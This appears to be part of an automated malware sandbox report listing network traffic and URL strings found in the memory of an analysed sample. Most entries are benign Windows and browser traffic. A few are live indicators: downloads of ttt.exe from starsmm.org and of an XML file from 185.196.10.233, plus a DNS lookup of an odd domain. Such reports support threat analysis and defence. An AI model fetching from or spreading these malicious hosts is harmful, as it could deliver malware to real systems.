Source: global traffic	HTTP traffic detected: GET /staticsb/statics/latest/icons/office-icons/Visio_24x.svg HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /staticsb/statics/latest/icons/office-icons/Word_24x.svg HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /staticsb/statics/latest/icons/office-icons/Engage_24x.svg HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /staticsb/statics/latest/icons/office-icons/Yammer_24x.svg HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /staticsb/statics/latest/icons/office-icons/Calendar_24x.svg HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /staticsb/statics/latest/icons/office-icons/ToDo_24x.svg HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /staticsb/statics/latest/icons/office-icons/Viva_24x.svg HTTP/1.1Host: assets.msn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=nkGyhUBOnovzuz5&MD=oygleuew HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr=c&sig=R83mlHRCqeHRG9T0loza5cz3U8zjuZzQy2wVvoSHGHw%3D&st=2021-01-01T00%3A00%3A00Z&se=2024-06-30T00%3A00%3A00Z&sp=r&assetgroup=AddressBar HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: AddressBarSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /ttt.exe HTTP/1.1Host: starsmm.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /dll/ghghghgfg.xml HTTP/1.1Host: 185.196.10.233Connection: Keep-Alive

Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr

String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)

Source: unknown

DNS traffic detected: queries for: gjhfhgdg.insane.wang

Source: unknown

HTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: application/json; charset=utf-8Access-Control-Allow-Headers: TicketType,RequestContinuationKey,AuthToken,Content-Type,x-client-activityid,ms-cv,OneSvc-Uni-Feat-Tun,signedInCookieName,muid,appid,User-Location,user-location,userauthtoken,usertickettype,sitename,s2sauthtoken,thumbprint,Authorization,Ent-Authorization,UserIdToken,DDD-TMPL,DDD-ActivityId,DDD-FeatureSet,DDD-Session-ID,Date,date,ads-referer,ads-referer,taboola-sessionId,taboola-sessionid,Akamai-Request-ID,Akamai-Server-IP,X-MSEdge-Ref,DDD-DebugId,s-xbox-token,OneWebServiceLatency,X-FD-Features,DDD-UserType,traceparent,Widgets,Muted,Velocity,DDD-Auth-Features,SoftLanding,PrefMigratedAccess-Control-Expose-Headers: TicketType,RequestContinuationKey,AuthToken,Content-Type,x-client-activityid,ms-cv,OneSvc-Uni-Feat-Tun,signedInCookieName,muid,appid,User-Location,user-location,userauthtoken,usertickettype,sitename,s2sauthtoken,thumbprint,Authorization,Ent-Authorization,UserIdToken,DDD-TMPL,DDD-ActivityId,DDD-FeatureSet,DDD-Session-ID,Date,date,ads-referer,ads-referer,taboola-sessionId,taboola-sessionid,Akamai-Request-ID,Akamai-Server-IP,X-MSEdge-Ref,DDD-DebugId,s-xbox-token,OneWebServiceLatency,X-FD-Features,DDD-UserType,traceparent,Widgets,Muted,Velocity,DDD-Auth-Features,SoftLanding,PrefMigratedDDD-AuthenticatedWithJwtFlow: FalseDDD-UserType: AnonymousMuidDDD-ActivityId: 662821dd-7e47-4936-932f-4df8712adf71DDD-StrategyExecutionLatency: 00:00:00.0012995,00:00:00.0014526DDD-DebugId: 662821dd-7e47-4936-932f-4df8712adf71\|2024-04-23T21:02:21.4860540Z\|fabric_msn\|ESU\|News_595DDD-Auth-Features: MuidStateOrigin:MuidFromCookieOneWebServiceLatency: 2X-MSEdge-ResponseInfo: 2Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UAX-Ceto-ref: 662821dd7e474936932f4df8712adf71\|AFD:662821dd7e474936932f4df8712adf71\|2024-04-23T21:02:21.479ZX-MSEdge-Ref: Ref A: A8C57D43280F4A7F8E642476C0747D98 Ref B: ASHEDGE1415 Ref C: 2024-04-23T21:02:21ZExpires: Tue, 23 Apr 2024 21:02:21 GMTDate: Tue, 23 Apr 2024 21:02:21 GMTContent-Length: 74Connection: closeSet-Cookie: _C_ETH=1; expires=Mon, 22 Apr 2024 21:02:21 GMT; domain=.msn.com; path=/; secure; httponlySet-Cookie: _C_Auth=Set-Cookie: MUIDB=09C025F5A71D6FE2180F319FA60A6E8D; expires=Sun, 18 May 2025 21:02:21 GMT; path=/; httponlySet-Cookie: _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; domain=.msn.com; path=/; httponlyAkamai-Request-BC: [a=23.11.231.159,b=402745566,c=g,n=US_GA_ATLANTA,o=20940],[a=204.79.197.203,c=o]Server-Timing: clientrtt; dur=105, clienttt; dur=36, origin; dur=31 , cdntime; dur=5Akamai-Cache-Status: NotCacheable from childAkamai-Server-IP: 23.11.231.159Akamai-Request-ID: 180168deAccess-Control-Allow-Methods: PUT,PATCH,POST,GET,OPT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: application/json; charset=utf-8Access-Control-Allow-Headers: TicketType,RequestContinuationKey,AuthToken,Content-Type,x-client-activityid,ms-cv,OneSvc-Uni-Feat-Tun,signedInCookieName,muid,appid,User-Location,user-location,userauthtoken,usertickettype,sitename,s2sauthtoken,thumbprint,Authorization,Ent-Authorization,UserIdToken,DDD-TMPL,DDD-ActivityId,DDD-FeatureSet,DDD-Session-ID,Date,date,ads-referer,ads-referer,taboola-sessionId,taboola-sessionid,Akamai-Request-ID,Akamai-Server-IP,X-MSEdge-Ref,DDD-DebugId,s-xbox-token,OneWebServiceLatency,X-FD-Features,DDD-UserType,traceparent,Widgets,Muted,Velocity,DDD-Auth-Features,SoftLanding,PrefMigratedAccess-Control-Expose-Headers: TicketType,RequestContinuationKey,AuthToken,Content-Type,x-client-activityid,ms-cv,OneSvc-Uni-Feat-Tun,signedInCookieName,muid,appid,User-Location,user-location,userauthtoken,usertickettype,sitename,s2sauthtoken,thumbprint,Authorization,Ent-Authorization,UserIdToken,DDD-TMPL,DDD-ActivityId,DDD-FeatureSet,DDD-Session-ID,Date,date,ads-referer,ads-referer,taboola-sessionId,taboola-sessionid,Akamai-Request-ID,Akamai-Server-IP,X-MSEdge-Ref,DDD-DebugId,s-xbox-token,OneWebServiceLatency,X-FD-Features,DDD-UserType,traceparent,Widgets,Muted,Velocity,DDD-Auth-Features,SoftLanding,PrefMigratedDDD-AuthenticatedWithJwtFlow: FalseDDD-UserType: AnonymousMuidDDD-ActivityId: 662821e3-7c77-4618-afd4-d047e32a6ccbDDD-StrategyExecutionLatency: 00:00:00.0011697,00:00:00.0013259DDD-DebugId: 662821e3-7c77-4618-afd4-d047e32a6ccb\|2024-04-23T21:02:27.8856281Z\|fabric_msn\|ESU\|News_645DDD-Auth-Features: MuidStateOrigin:MuidFromCookieOneWebServiceLatency: 2X-MSEdge-ResponseInfo: 2Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UAX-Ceto-ref: 662821e37c774618afd4d047e32a6ccb\|AFD:662821e37c774618afd4d047e32a6ccb\|2024-04-23T21:02:27.880ZX-MSEdge-Ref: Ref A: 2FE1575012CC48F381EA25BFB9807BBB Ref B: BL2EDGE2411 Ref C: 2024-04-23T21:02:27ZExpires: Tue, 23 Apr 2024 21:02:27 GMTDate: Tue, 23 Apr 2024 21:02:27 GMTContent-Length: 74Connection: closeSet-Cookie: _C_ETH=1; expires=Mon, 22 Apr 2024 21:02:27 GMT; domain=.msn.com; path=/; secure; httponlySet-Cookie: _C_Auth=Set-Cookie: _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; domain=.msn.com; path=/; httponlyAkamai-Request-BC: [a=23.11.231.159,b=402749418,c=g,n=US_GA_ATLANTA,o=20940],[a=204.79.197.203,c=o]Server-Timing: clientrtt; dur=105, clienttt; dur=39, origin; dur=37 , cdntime; dur=2Akamai-Cache-Status: NotCacheable from childAkamai-Server-IP: 23.11.231.159Akamai-Request-ID: 180177eaAccess-Control-Allow-Methods: PUT,PATCH,POST,GET,OPTIONS,DELETEAccess-Control-Allow-Credentials: trueAccess-Control-Allow-Origin: https://ntp.msn.comX-AS-S

Source: Target.exe, 00000001.00000002.4116525327.000001D09B6C1000.00000004.00000800.00020000.00000000.sdmp, Target.exe, 00000001.00000002.4263822421.000001D0B3FC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.10.233/dll/ghghghgfg.xml
Source: svchost.exe, 00000007.00000002.4113686005.000001CC77400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000007.00000003.3433799346.000001CC7748E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/
Source: svchost.exe, 00000007.00000003.3433799346.000001CC7748E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/250
Source: svchost.exe, 00000007.00000003.1738844921.000001CC77618000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: svchost.exe, 00000007.00000003.1738844921.000001CC77618000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000007.00000003.1738844921.000001CC77618000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000007.00000003.1738844921.000001CC77618000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000007.00000002.4112917363.000001CC72702000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2391574900.000001CC773E2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/an2dmhqv5igncgwzelkqyugk5q_2024.4.19.0/go
Source: svchost.exe, 00000007.00000003.1738844921.000001CC7764D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: svchost.exe, 00000007.00000002.4113907895.000001CC7748E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.3433799346.000001CC7748E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com:80
Source: qmgr.db.7.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: zlONcFaXkc.exe, 00000000.00000002.1681293502.000001DFC2096000.00000004.00000020.00020000.00000000.sdmp, Target.exe, 00000001.00000002.4273287178.000001D0B4314000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.m
Source: Target.exe, 00000001.00000002.4268426290.000001D0B4081000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.microsof.com
Source: zlONcFaXkc.exe, 00000000.00000002.1682381223.000001DFC22F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.microsoft
Source: zlONcFaXkc.exe, 00000000.00000002.1666984608.000001DFA9865000.00000004.00000800.00020000.00000000.sdmp, Target.exe, 00000001.00000002.4116525327.000001D09B6C1000.00000004.00000800.00020000.00000000.sdmp, zcezeaqsuhi.exe, 00000002.00000002.2017176866.000002A5BB58B000.00000004.00000800.00020000.00000000.sdmp, zcezeaqsuhi.exe, 00000002.00000002.2017176866.000002A5BB6C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Amcache.hve.9.dr	String found in binary or memory: http://upx.sf.net
Source: chromecache_514.13.dr	String found in binary or memory: http://www.broofa.com
Source: zcezeaqsuhi.exe, 00000002.00000002.2017176866.000002A5BB6DA000.00000004.00000800.00020000.00000000.sdmp, 2cc80dabc69f58b6_0.10.dr, background.js.2.dr	String found in binary or memory: http://www.gzip.org/zlib/rfc-gzip.html
Source: chromecache_520.13.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_520.13.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: Reporting and NEL.10.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingcsp
Source: chromecache_514.13.dr, chromecache_520.13.dr	String found in binary or memory: https://apis.google.com
Source: 4cb013792b196a35_1.10.dr	String found in binary or memory: https://assets.msn.com/service/news/feed/pages/ntp
Source: 4cb013792b196a35_1.10.dr	String found in binary or memory: https://assets.msn.com/service/news/feed/pages/weblayout
Source: 4cb013792b196a35_1.10.dr	String found in binary or memory: https://assets.msn.com/serviceak/news/feed/pages/ntp
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://bard.google.com/
Source: 4cb013792b196a35_1.10.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: Reporting and NEL.10.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: Network Persistent State0.10.dr	String found in binary or memory: https://chrome.cloudflare-dns.com
Source: manifest.json0.10.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json0.10.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 9d44da8e-adec-4a59-9791-d41df16adce1.tmp.12.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json.10.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 9d44da8e-adec-4a59-9791-d41df16adce1.tmp.12.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: chromecache_520.13.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_520.13.dr	String found in binary or memory: https://content.googleapis.com
Source: chromecache_520.13.dr	String found in binary or memory: https://csp.withgoogle.com/csp/lcreport/
Source: Reporting and NEL.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report
Source: Reporting and NEL.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: Reporting and NEL.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msnw
Source: manifest.json.10.dr	String found in binary or memory: https://docs.google.com/
Source: chromecache_520.13.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: manifest.json.10.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive.google.com/
Source: 000003.log0.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.75/asset?sv=2017-07-29&sr=c&sig=
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
